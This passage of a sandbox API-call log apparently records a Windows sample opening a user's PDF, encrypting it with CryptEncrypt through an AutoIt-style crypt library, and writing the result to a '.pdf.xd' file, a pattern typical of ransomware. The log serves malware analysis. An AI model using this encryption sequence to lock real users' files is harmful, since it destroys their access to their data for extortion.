lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.708] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0072.708] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.709] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e6d0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0072.710] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0072.710] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0072.711] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.711] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.711] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.711] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.711] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.711] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\g7vwvq8.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0072.711] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.711] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0072.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.712] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp")) returned 0x10 [0072.713] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\G7vWVQ8.pdf.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\g7vwvq8.pdf.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0072.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.714] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.716] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0072.716] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0072.718] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x825b, lpOverlapped=0x0) returned 1 [0072.719] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0072.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.723] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.723] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0072.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.724] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.724] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0072.725] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.725] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0072.725] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.725] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.725] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.725] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0072.725] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0072.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0072.725] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0072.726] CryptGetKeyParam (in: hKey=0x164c370, dwParam=0x7, pbData=0x1629500, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629500*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0072.726] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.726] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0072.726] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.726] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.726] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.726] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.726] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0072.727] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.727] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.727] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.727] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.727] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621888, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.728] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.728] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x1825b, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x18260) returned 1 [0072.728] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.753] CharLowerBuffW (in: lpsz="byte[98913]", cchLength=0xb | out: lpsz="byte[98913]") returned 0xb [0072.753] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.754] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.755] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.755] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0072.755] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0072.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0072.755] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0072.755] CryptEncrypt (in: hKey=0x164c370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x186d008*, pdwDataLen=0x130e618*=0x1825b, dwBufLen=0x18260 | out: pbData=0x186d008*, pdwDataLen=0x130e618*=0x18260) returned 1 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.756] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.756] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.756] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.756] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.756] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0072.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.757] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.757] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0072.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.757] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0072.757] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0072.763] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.763] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.763] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.764] WriteFile (in: hFile=0x3bc, lpBuffer=0x1885270*, nNumberOfBytesToWrite=0x18260, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1885270*, lpNumberOfBytesWritten=0x130f01c*=0x18260, lpOverlapped=0x0) returned 1 [0072.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.767] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.767] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0072.767] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.767] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.767] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0072.767] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0072.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621540, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0072.768] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0072.768] CryptDestroyKey (hKey=0x164c370) returned 1 [0072.768] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.768] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.768] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.768] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.768] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.768] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.768] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0072.768] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.768] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.768] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0072.768] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0072.769] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0072.769] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0072.769] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.769] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0072.769] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0072.769] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0072.769] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0072.769] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.769] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0072.769] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0072.769] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0072.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, 